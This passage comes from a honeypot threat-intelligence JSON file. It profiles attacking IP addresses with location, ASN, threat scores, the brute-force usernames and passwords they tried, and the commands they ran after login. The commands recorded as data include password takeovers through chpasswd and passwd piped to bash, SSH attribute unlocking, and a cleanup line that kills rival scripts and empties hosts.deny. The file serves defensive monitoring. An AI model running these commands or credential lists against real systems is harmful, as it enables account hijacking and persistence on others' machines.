        "echo \"password\\n9kKR0yCp0tJw\\n9kKR0yCp0tJw\\n\"|passwd",
        "echo -e \"Git123\\nt74jL01Fspfb\\nt74jL01Fspfb\"|passwd|bash",
        "echo -e \"eprints123\\nqKvSs03pEGV8\\nqKvSs03pEGV8\"|passwd|bash",
        "echo -e \"password\\n9kKR0yCp0tJw\\n9kKR0yCp0tJw\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 18809,
      "as_org": "Cable Onda",
      "threat_score": 34.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 404,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T12:06:40.162000+00:00",
        "last_seen_30d": "2026-03-22T12:21:33.778000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 332,
        "Suricata": 72
      }
    },
    "46.101.250.187": {
      "attack_count": 287,
      "first_seen": "2026-03-02T20:19:32.425Z",
      "last_seen": "2026-03-02T21:18:26.013Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubuntu"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "P@ssw0rd",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "000000",
        "1q2w3e4r",
        "654321",
        "admin",
        "Admin123",
        "admin123",
        "root123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 410,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:19:32.425000+00:00",
        "last_seen_30d": "2026-03-02T21:28:32.762000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 287,
        "Suricata": 123
      }
    },
    "138.197.107.71": {
      "attack_count": 280,
      "first_seen": "2026-03-05T05:15:57.587Z",
      "last_seen": "2026-03-26T07:46:15.377Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user",
        "bodega",
        "emma",
        "timemachine"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "101010",
        "123456",
        "123qweQWE",
        "Bodega123!",
        "Chen@123",
        "Johnny123",
        "Password$1",
        "a",
        "asdasd123123",
        "password",
        "qaz.1234",
        "qq111111",
        "s0p0rt3",
        "vpn@123",
        "zxc123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"a\\ndKBxDd7Oduqw\\ndKBxDd7Oduqw\\n\"|passwd",
        "echo \"root:6rn0eDjV8XT1\"|chpasswd|bash",
        "echo \"root:UxEdac3Qsabg\"|chpasswd|bash",
        "echo -e \"a\\ndKBxDd7Oduqw\\ndKBxDd7Oduqw\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 46.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.2,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T05:15:57.587000+00:00",
        "last_seen_30d": "2026-03-26T07:47:18.637000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 280,
        "Suricata": 48
      }
    },
    "49.204.74.149": {
      "attack_count": 257,
      "first_seen": "2026-03-19T19:59:16.646Z",
      "last_seen": "2026-03-19T20:20:26.438Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "bbb",
        "cristi",
        "kube",
        "linode",
        "oguz",
        "qbtuser",
        "root",
        "sakura",
        "tfserver",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "12345678",
        "1234abcd",
        "Pa$$w0rd",
        "Sakura123",
        "bbb123!",
        "linode1234",
        "qbtuser",
        "tfserver"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nJeqFDJfp9dGP\\nJeqFDJfp9dGP\\n\"|passwd",
        "echo \"123456\\njsoyKF7dE9rq\\njsoyKF7dE9rq\\n\"|passwd",
        "echo \"bbb123!\\ni9JJxe98TAgC\\ni9JJxe98TAgC\\n\"|passwd",
        "echo -e \"12345678\\nJeqFDJfp9dGP\\nJeqFDJfp9dGP\"|passwd|bash",
        "echo -e \"123456\\njsoyKF7dE9rq\\njsoyKF7dE9rq\"|passwd|bash",
        "echo -e \"bbb123!\\ni9JJxe98TAgC\\ni9JJxe98TAgC\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 24309,
      "as_org": "Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T19:59:16.646000+00:00",
        "last_seen_30d": "2026-03-19T20:21:28.846000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 36
      }
    },
    "143.110.247.130": {
      "attack_count": 240,
      "first_seen": "2026-03-02T20:26:21.200Z",
      "last_seen": "2026-03-02T21:03:07.928Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "123123",
        "123321",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234abcd",
        "123abc",
        "123qwe",
        "1q2w3e",
        "1q2w3e4r",
        "1qaz2wsx",
        "654321",
        "P@ssw0rd",
        "P@ssword",
        "Root123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 342,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:26:02.384000+00:00",
        "last_seen_30d": "2026-03-02T21:04:10.561000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 240,
        "Suricata": 102
      }
    },
    "181.188.176.242": {
      "attack_count": 236,
      "first_seen": "2026-03-27T12:41:47.511Z",
      "last_seen": "2026-03-27T14:43:00.659Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QA2ws#ED",
        "123123Aa",
        "1475963",
        "Aa@13579",
        "Abc987654321",
        "Asdf123321",
        "Comtom@2026",
        "Password123@",
        "Q!W@E#r4t5y6",
        "Server@123456",
        "exploit2026",
        "franklin",
        "huawei123!",
        "minhtuan",
        "oracle9i",
        "pgj-heu05HQM=bMvz",
        "qwerty123$",
        "sb123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:D9AEtlBTRBvY\"|chpasswd|bash",
        "echo \"root:YeMxQrCgvnQS\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "La Paz",
      "asn": 27882,
      "as_org": "Telefonica Celular de Bolivia S.A.",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 304,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T12:41:47.511000+00:00",
        "last_seen_30d": "2026-03-27T14:44:03.600000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 68
      }
    },
    "94.156.221.46": {
      "attack_count": 188,
      "first_seen": "2026-03-23T23:11:40.835Z",
      "last_seen": "2026-03-23T23:32:24.189Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "chat",
        "vyos",
        "edward",
        "lek",
        "nexus",
        "root",
        "root2",
        "satisfactory",
        "spawner",
        "stan"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "Kennwort1",
        "nexus123!",
        "root",
        "satisfactory",
        "stan123!",
        "vyos123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nV3qP169o1yHs\\nV3qP169o1yHs\\n\"|passwd",
        "echo \"vyos123\\nebRXmUNBZDW9\\nebRXmUNBZDW9\\n\"|passwd",
        "echo -e \"12345678\\nV3qP169o1yHs\\nV3qP169o1yHs\"|passwd|bash",
        "echo -e \"vyos123\\nebRXmUNBZDW9\\nebRXmUNBZDW9\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Sofia",
      "asn": 34224,
      "as_org": "Neterra Ltd.",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T23:11:40.835000+00:00",
        "last_seen_30d": "2026-03-23T23:33:29.013000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "159.223.183.226": {
      "attack_count": 180,
      "first_seen": "2026-03-08T16:48:12.224Z",
      "last_seen": "2026-03-08T17:26:49.003Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "admin",
        "passw0rd",
        "password",
        "root",
        "root1",
        "root12",
        "root123",
        "root1234",
        "root12345",
        "root123456"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T16:48:12.224000+00:00",
        "last_seen_30d": "2026-03-08T17:36:49.295000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 180,
        "Suricata": 78
      }
    },
    "103.226.139.7": {
      "attack_count": 168,
      "first_seen": "2026-03-29T04:11:50.742Z",
      "last_seen": "2026-03-29T05:26:04.733Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "125521",
        "3245gs5662d34",
        "345gs5662d34",
        "5454",
        "9ijnbhu8",
        "Amadeus",
        "Cj@123456",
        "Dy123456.",
        "Gw.123456",
        "Info123",
        "Manager@123",
        "P@55w0rd123456",
        "P@ssw0rd66",
        "PaSswORd2024",
        "`1q2w3e4r",
        "ab123",
        "admin123!@#",
        "christian",
        "dell",
        "p@33word"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:iOLtqh1ZAH34\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T04:11:50.742000+00:00",
        "last_seen_30d": "2026-03-29T05:27:13.029000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "43.164.77.109": {
      "attack_count": 168,
      "first_seen": "2026-03-27T10:23:04.249Z",
      "last_seen": "2026-03-27T12:03:57.414Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123Admin123",
        "25251325",
        "3245gs5662d34",
        "345gs5662d34",
        "9999",
        "@dm1n2024",
        "Aa147258+",
        "Admin1!",
        "Apple2026",
        "Jkl123456",
        "QazWsxEdc",
        "abcd1234.com",
        "blackarch",
        "carmen",
        "cloud.123",
        "jamesbond",
        "p[]l;',./",
        "passWord",
        "qweasdzxc@123",
        "summer"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:bqcd7IV0XYtp\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Riyadh",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 231,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T10:23:04.249000+00:00",
        "last_seen_30d": "2026-03-27T12:05:07.653000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 63
      }
    },
    "91.99.123.200": {
      "attack_count": 129,
      "first_seen": "2026-03-07T00:55:02.243Z",
      "last_seen": "2026-03-07T01:17:59.614Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "patrick",
        "345gs5662d34",
        "admin",
        "bot",
        "ftpsecure",
        "hzy",
        "marek",
        "mirror",
        "sami",
        "sandbox"
      ],
      "passwords_attempted": [
        "000",
        "123",
        "12345",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "@qwer2025",
        "@qwer2026",
        "Abcd*1234",
        "Sandbox123!",
        "bot123",
        "ftpsecure1234",
        "hzy"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nkGKbpgfg73CX\\nkGKbpgfg73CX\\n\"|passwd",
        "echo -e \"12345678\\nkGKbpgfg73CX\\nkGKbpgfg73CX\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 162,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T00:55:02.243000+00:00",
        "last_seen_30d": "2026-03-07T01:19:03.403000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 129,
        "Suricata": 33
      }
    },
    "152.32.209.152": {
      "attack_count": 123,
      "first_seen": "2026-03-04T11:00:24.636Z",
      "last_seen": "2026-03-04T11:30:19.999Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Bingo@1993",
        "Dd123456",
        "Qaz@123456",
        "Reza@123",
        "adm12345",
        "admin1234!",
        "admin2022.",
        "esther1",
        "q123456789",
        "raspberry",
        "setup123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:C1RSHIaavy4l\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T11:00:24.636000+00:00",
        "last_seen_30d": "2026-03-04T11:31:21.648000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 32
      }
    },
    "103.13.206.122": {
      "attack_count": 119,
      "first_seen": "2026-03-19T15:06:32.986Z",
      "last_seen": "2026-03-19T15:33:52.571Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "huang",
        "root",
        "345gs5662d34",
        "amir",
        "ay",
        "ct",
        "mexal",
        "node",
        "satisfactory",
        "xwiki"
      ],
      "passwords_attempted": [
        "1",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin-12345",
        "Amir123",
        "Secure123",
        "Xwiki123!",
        "huangpass",
        "mexal",
        "password",
        "satisfactory123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"huangpass\\n7lSJ2o6AkERY\\n7lSJ2o6AkERY\\n\"|passwd",
        "echo -e \"huangpass\\n7lSJ2o6AkERY\\n7lSJ2o6AkERY\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T15:06:32.986000+00:00",
        "last_seen_30d": "2026-03-19T15:35:02.235000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
